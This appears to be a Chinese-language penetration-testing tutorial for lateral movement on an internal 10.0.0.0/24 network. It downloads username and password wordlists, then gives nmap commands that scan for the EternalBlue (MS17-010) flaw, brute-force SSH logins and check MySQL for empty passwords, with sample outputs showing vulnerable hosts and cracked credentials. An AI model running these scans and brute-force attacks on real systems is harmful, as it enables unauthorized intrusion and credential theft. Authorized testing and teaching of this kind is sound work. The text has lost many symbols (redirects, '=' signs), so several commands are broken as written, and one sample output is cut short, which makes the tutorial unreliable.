场景背景内网网段10.0.0.0/24任务快速识别内网中可被利用的主机准备工作cd /d E:\pentestmkdir lateral_movement 2nulcd /d E:\pentest\lateral_movementREM 创建证据目录出事时保护自己mkdir evidence 2nulREM 保存当前时间戳echo 横向渗透准备开始: %date% %time% evidence\execution_log.txtREM 保存授权相关记录echo 请将公司授权书截图保存到本目录 evidence\execution_log.txtmkdir wordlists 2nulmkdir tools 2nulcurl -L -o wordlists\common_users.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/top-usernames-shortlist.txtcurl -L -o wordlists\common_passwords.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100.txt实战步骤扫描永恒之蓝漏洞nmap --script smb-vuln-ms17-010 -p 445 10.0.0.0/24 -oN eternal_blue_scan.txt结果若有未打补丁的主机Nmap scan report for 10.0.0.7 Host is up (0.0012s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0144 | Disclosure date: 2017-03-14 | Check results: | SMBv1 is enabled | | References: | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx |_ https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2017-0144检查SSH弱口令nmap --script ssh-brute --script-args userdbinternal_users.txt,passdbcommon_passwords.txt -p 22 10.0.0.0/24 -oN ssh_brute_scan.txt结果成功破解| ssh-brute: | Accounts | root:root123 - Valid credentials ← 找到了 | admin:admin123 - Valid credentials结果没有破解Nmap scan report for 10.0.0.12 22/tcp open ssh | ssh-brute: | Accounts: No valid accounts found ← 没破出来 |_ Statistics: Performed 1500 guesses in 30 seconds, average tps: 50.0检测MySQL空密码nmap --script mysql-empty-password -p 3306 10.0.0.0/24 -oN mysql_empty_password.txt结果发现空密码| mysql-empty-password: | root account h ...(truncated)...结果没有空密码Nmap scan report for 10.0.0.20 3306/tcp open mysql | mysql-empty-password: | anonymous account has empty password | accounts: No valid accounts found ← 这台没空密码 | stats: Performed 0 checks in 0 seconds